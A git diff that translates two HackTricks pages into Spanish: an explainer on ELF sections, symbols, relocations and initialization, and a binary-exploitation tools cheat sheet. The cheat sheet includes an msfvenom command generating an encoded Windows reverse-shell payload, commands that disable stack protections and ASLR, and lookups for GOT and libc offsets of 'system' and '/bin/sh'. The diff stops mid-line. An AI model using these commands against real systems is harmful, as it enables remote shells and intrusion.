0000000000020000 00010000 2**3 - CONTENTS, ALLOC, LOAD, DATA - 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 - ALLOC - 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 - CONTENTS, READONLY - 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 - CONTENTS, READONLY +0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 +CONTENTS, ALLOC, LOAD, READONLY, DATA +8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 +CONTENTS, ALLOC, LOAD, READONLY, CODE +13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 +CONTENTS, ALLOC, LOAD, READONLY, CODE +14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 +CONTENTS, ALLOC, LOAD, DATA +19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 +CONTENTS, ALLOC, LOAD, DATA +20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 +CONTENTS, ALLOC, LOAD, DATA +21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 +CONTENTS, ALLOC, LOAD, DATA +22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 +CONTENTS, ALLOC, LOAD, DATA +23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 +ALLOC +24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 +CONTENTS, READONLY +25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 +CONTENTS, READONLY ``` +También indica la ubicación, el desplazamiento, los permisos, pero también el **tipo de datos** que tiene su sección. -It also indicates the location, offset, permissions but also the **type of data** it section has. +### Secciones Meta -### Meta Sections +- **Tabla de cadenas**: Contiene todas las cadenas necesarias para el archivo ELF (pero no las que realmente usa el programa). Por ejemplo, contiene nombres de secciones como `.text` o `.data`. Y si `.text` está en el desplazamiento 45 en la tabla de cadenas, usará el número **45** en el campo **nombre**. +- Para encontrar dónde está la tabla de cadenas, el ELF contiene un puntero a la tabla de cadenas. +- **Tabla de símbolos**: Contiene información sobre los símbolos como el nombre (desplazamiento en la tabla de cadenas), dirección, tamaño y más metadatos sobre el símbolo. -- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. - - In order to find where the string table is, the ELF contains a pointer to the string table. -- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol. +### Secciones Principales -### Main Sections +- **`.text`**: La instrucción del programa a ejecutar. +- **`.data`**: Variables globales con un valor definido en el programa. +- **`.bss`**: Variables globales no inicializadas (o inicializadas a cero). Las variables aquí se inicializan automáticamente a cero, evitando así que se agreguen ceros innecesarios al binario. +- **`.rodata`**: Variables globales constantes (sección de solo lectura). +- **`.tdata`** y **`.tbss`**: Al igual que .data y .bss cuando se utilizan variables locales de hilo (`__thread_local` en C++ o `__thread` en C). +- **`.dynamic`**: Ver abajo. -- **`.text`**: The instruction of the program to run. -- **`.data`**: Global variables with a defined value in the program. -- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary. -- **`.rodata`**: Constant global variables (read-only section). -- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C). -- **`.dynamic`**: See below. - -## Symbols - -Symbols is a named location in the program which could be a function, a global data object, thread-local variables... +## Símbolos +Un símbolo es una ubicación nombrada en el programa que podría ser una función, un objeto de datos global, variables locales de hilo... ``` readelf -s lnstat Symbol table '.dynsym' contains 49 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init - 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data - 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) - 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) - 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) - 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) - 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) - 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) - 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] - 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) - 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) - [...] +Num: Value Size Type Bind Vis Ndx Name +0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND +1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init +2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data +3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) +4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) +5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) +6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) +7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) +8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) +9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) +10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] +11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) +12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) +[...] ``` +Cada entrada de símbolo contiene: -Each symbol entry contains: - -- **Name** -- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. -- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) -- **Section** index where it's located -- **Value** (address sin memory) -- **Size** - -## Dynamic Section +- **Nombre** +- **Atributos de enlace** (débil, local o global): Un símbolo local solo puede ser accedido por el programa mismo, mientras que el símbolo global se comparte fuera del programa. Un objeto débil es, por ejemplo, una función que puede ser sobrescrita por otra diferente. +- **Tipo**: NOTYPE (sin tipo especificado), OBJECT (variable de datos global), FUNC (función), SECTION (sección), FILE (archivo de código fuente para depuradores), TLS (variable local de hilo), GNU_IFUNC (función indirecta para reubicación) +- **Índice de sección** donde se encuentra +- **Valor** (dirección en memoria) +- **Tamaño** +## Sección dinámica ``` readelf -d lnstat Dynamic section at offset 0xfc58 contains 28 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] - 0x000000000000000c (INIT) 0x1088 - 0x000000000000000d (FINI) 0x2f74 - 0x0000000000000019 (INIT_ARRAY) 0x1fc48 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x1fc50 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x338 - 0x0000000000000005 (STRTAB) 0x7f0 - 0x0000000000000006 (SYMTAB) 0x358 - 0x000000000000000a (STRSZ) 510 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x1fe58 - 0x0000000000000002 (PLTRELSZ) 960 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0xcc8 - 0x0000000000000007 (RELA) 0xaa0 - 0x0000000000000008 (RELASZ) 552 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000000000001e (FLAGS) BIND_NOW - 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE - 0x000000006ffffffe (VERNEED) 0xa50 - 0x000000006fffffff (VERNEEDNUM) 2 - 0x000000006ffffff0 (VERSYM) 0x9ee - 0x000000006ffffff9 (RELACOUNT) 15 - 0x0000000000000000 (NULL) 0x0 +Tag Type Name/Value +0x0000000000000001 (NEEDED) Shared library: [libc.so.6] +0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] +0x000000000000000c (INIT) 0x1088 +0x000000000000000d (FINI) 0x2f74 +0x0000000000000019 (INIT_ARRAY) 0x1fc48 +0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) +0x000000000000001a (FINI_ARRAY) 0x1fc50 +0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) +0x000000006ffffef5 (GNU_HASH) 0x338 +0x0000000000000005 (STRTAB) 0x7f0 +0x0000000000000006 (SYMTAB) 0x358 +0x000000000000000a (STRSZ) 510 (bytes) +0x000000000000000b (SYMENT) 24 (bytes) +0x0000000000000015 (DEBUG) 0x0 +0x0000000000000003 (PLTGOT) 0x1fe58 +0x0000000000000002 (PLTRELSZ) 960 (bytes) +0x0000000000000014 (PLTREL) RELA +0x0000000000000017 (JMPREL) 0xcc8 +0x0000000000000007 (RELA) 0xaa0 +0x0000000000000008 (RELASZ) 552 (bytes) +0x0000000000000009 (RELAENT) 24 (bytes) +0x000000000000001e (FLAGS) BIND_NOW +0x000000006ffffffb (FLAGS_1) Flags: NOW PIE +0x000000006ffffffe (VERNEED) 0xa50 +0x000000006fffffff (VERNEEDNUM) 2 +0x000000006ffffff0 (VERSYM) 0x9ee +0x000000006ffffff9 (RELACOUNT) 15 +0x0000000000000000 (NULL) 0x0 ``` +El directorio NEEDED indica que el programa **necesita cargar la biblioteca mencionada** para continuar. El directorio NEEDED se completa una vez que la **biblioteca compartida está completamente operativa y lista** para su uso. -The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. - -## Relocations - -The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. +## Reubicaciones +El cargador también debe reubicar las dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ. ``` readelf -r lnstat Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fff0 000000000403 R_AARCH64_RELATIV 1340 @@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 @@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` +### Relocaciones Estáticas -### Static Relocations +Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocación estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida. -If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. +Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocación más el valor del aditivo. -For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. +### Relocaciones Dinámicas y GOT -### Dynamic Relocations and GOT +La relocación también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Global Offset Table) (indicado en la tabla de relocación) donde debería especificarse la dirección de malloc. -The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. +### Tabla de Enlace de Procedimientos -### Procedure Linkage Table +La sección PLT permite realizar enlace perezoso, lo que significa que la resolución de la ubicación de una función se realizará la primera vez que se acceda a ella. -The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. +Así que cuando un programa llama a malloc, en realidad llama a la ubicación correspondiente de `malloc` en el PLT (`malloc@plt`). La primera vez que se llama, resuelve la dirección de `malloc` y la almacena, de modo que la próxima vez que se llame a `malloc`, se utiliza esa dirección en lugar del código PLT. -So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. - -## Program Initialization - -After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: +## Inicialización del Programa +Después de que el programa ha sido cargado, es hora de que se ejecute. Sin embargo, el primer código que se ejecuta **no siempre es la función `main`**. Esto se debe a que, por ejemplo, en C++ si una **variable global es un objeto de una clase**, este objeto debe ser **inicializado** **antes** de que se ejecute main, como en: ```cpp #include // g++ autoinit.cpp -o autoinit class AutoInit { - public: - AutoInit() { - printf("Hello AutoInit!\n"); - } - ~AutoInit() { - printf("Goodbye AutoInit!\n"); - } +public: +AutoInit() { +printf("Hello AutoInit!\n"); +} +~AutoInit() { +printf("Goodbye AutoInit!\n"); +} }; AutoInit autoInit; int main() { - printf("Main\n"); - return 0; +printf("Main\n"); +return 0; } ``` +Tenga en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos a inicializar y destruir para hacer un seguimiento de ellos. -Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. - -From C code it's possible to obtain the same result using the GNU extensions : - +Desde el código C, es posible obtener el mismo resultado utilizando las extensiones de GNU: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` +Desde la perspectiva de un compilador, para ejecutar estas acciones antes y después de que se ejecute la función `main`, es posible crear una función `init` y una función `fini` que se referenciarían en la sección dinámica como **`INIT`** y **`FIN`**. y se colocan en las secciones `init` y `fini` del ELF. -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +La otra opción, como se mencionó, es referenciar las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** en la sección dinámica y la longitud de estas se indica con **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos. -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. +Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que se ejecutarán **antes** de los punteros de **`INIT_ARRAY`**. -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +### Orden de Inicialización -### Initialization Order +1. El programa se carga en memoria, las variables globales estáticas se inicializan en **`.data`** y las no inicializadas se ponen a cero en **`.bss`**. +2. Todas las **dependencias** para el programa o bibliotecas se **inicializan** y se ejecuta el **vinculación dinámica**. +3. Se ejecutan las funciones de **`PREINIT_ARRAY`**. +4. Se ejecutan las funciones de **`INIT_ARRAY`**. +5. Si hay una entrada **`INIT`**, se llama. +6. Si es una biblioteca, dlopen termina aquí; si es un programa, es hora de llamar al **punto de entrada real** (función `main`). -1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. -2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed. -3. **`PREINIT_ARRAY`** functions are executed. -4. **`INIT_ARRAY`** functions are executed. -5. If there is a **`INIT`** entry it's called. -6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function). +## Almacenamiento Local por Hilo (TLS) -## Thread-Local Storage (TLS) +Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensión de GNU **`__thread`**. -They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. +Cada hilo mantendrá una ubicación única para esta variable, por lo que solo el hilo puede acceder a su variable. -Each thread will maintain a unique location for this variable so only the thread can access its variable. +Cuando se utiliza esto, las secciones **`.tdata`** y **`.tbss`** se utilizan en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS. -When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. +Cada variable tendrá una entrada en el encabezado de TLS especificando el tamaño y el desplazamiento de TLS, que es el desplazamiento que utilizará en el área de datos locales del hilo. -Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. - -The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +El `__TLS_MODULE_BASE` es un símbolo utilizado para referirse a la dirección base del almacenamiento local por hilo y apunta al área en memoria que contiene todos los datos locales por hilo de un módulo. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 70aa57cc5..5f2a74337 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# Herramientas de Explotación {{#include ../../../banners/hacktricks-training.md}} ## Metasploit - ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Instalar ```bash apt-get install gdb ``` - -### Parameters - +### Parámetros ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Instrucciones ```bash run # Execute start # Start and break in main @@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) -You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. - +Puedes usar opcionalmente [**este fork de GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) que contiene instrucciones más interesantes. ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB mismas direcciones -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Mientras depuras, GDB tendrá **direcciones ligeramente diferentes a las utilizadas por el binario cuando se ejecuta.** Puedes hacer que GDB tenga las mismas direcciones haciendo: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _Pon la ruta absoluta al binario_ +- Explota el binario utilizando la misma ruta absoluta +- `PWD` y `OLDPWD` deben ser las mismas al usar GDB y al explotar el binario -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Backtrace para encontrar funciones llamadas +Cuando tienes un **binario vinculado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, pedir entrada del usuario.**\ +Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te pida entrada. Luego, deténlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -154,87 +141,80 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` - ### GDB server -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (en IDA tienes que llenar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows) ## Ghidra ### Find stack offset -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** es muy útil para encontrar el **offset** para un **buffer overflow gracias a la información sobre la posición de las variables locales.**\ +Por ejemplo, en el ejemplo a continuación, un desbordamiento de buffer en `local_bc` indica que necesitas un offset de `0xbc`. Además, si `local_10` es una cookie canaria, indica que para sobrescribirla desde `local_bc` hay un offset de `0xac`.\ +&#xNAN;_Remember que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._ ![](<../../../images/image (1061).png>) ## qtool - ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` - -Get every opcode executed in the program. +Obtener cada opcode ejecutado en el programa. ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -&#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sin protecciones\ +&#xNAN;**-o** --> Salida\ +&#xNAN;**-g** --> Guardar código (GDB podrá verlo)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desactivar el ASLR en linux -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Para compilar un shellcode:**\ +**nasm -f elf assembly.asm** --> devuelve un ".o"\ +**ld assembly.o -o shellcodeout** --> Ejecutable ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -&#xNAN;**-Mintel** --> **Intel** syntax\ -&#xNAN;**-t** --> **Symbols** table\ -&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ -&#xNAN;**-s -j .dtors** --> dtors section\ -&#xNAN;**-s -j .got** --> got section\ --D -s -j .plt --> **plt** section **decompiled**\ -&#xNAN;**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Desensamblar** secciones ejecutables (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar dirección de función...)\ +&#xNAN;**-Mintel** --> **Sintaxis** Intel\ +&#xNAN;**-t** --> Tabla de **símbolos**\ +&#xNAN;**-D** --> **Desensamblar todo** (dirección de variable estática)\ +&#xNAN;**-s -j .dtors** --> sección dtors\ +&#xNAN;**-s -j .got** --> sección got\ +-D -s -j .plt --> sección **plt** **descompilada**\ +&#xNAN;**-TR** --> **Reubicaciones**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" para modificar en GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Dirección o una variable estática (esas se almacenan en la sección DATA). ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Ejecutar `ulimit -c unlimited` antes de iniciar mi programa +2. Ejecutar `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +## Más -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Dirección (si ASLR, entonces esto cambia cada vez)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Bucle para ver si la dirección cambia mucho\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Funciones llamadas por el ejecutable\ +**rabin2 -i ejecutable -->** Dirección de todas las funciones ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s 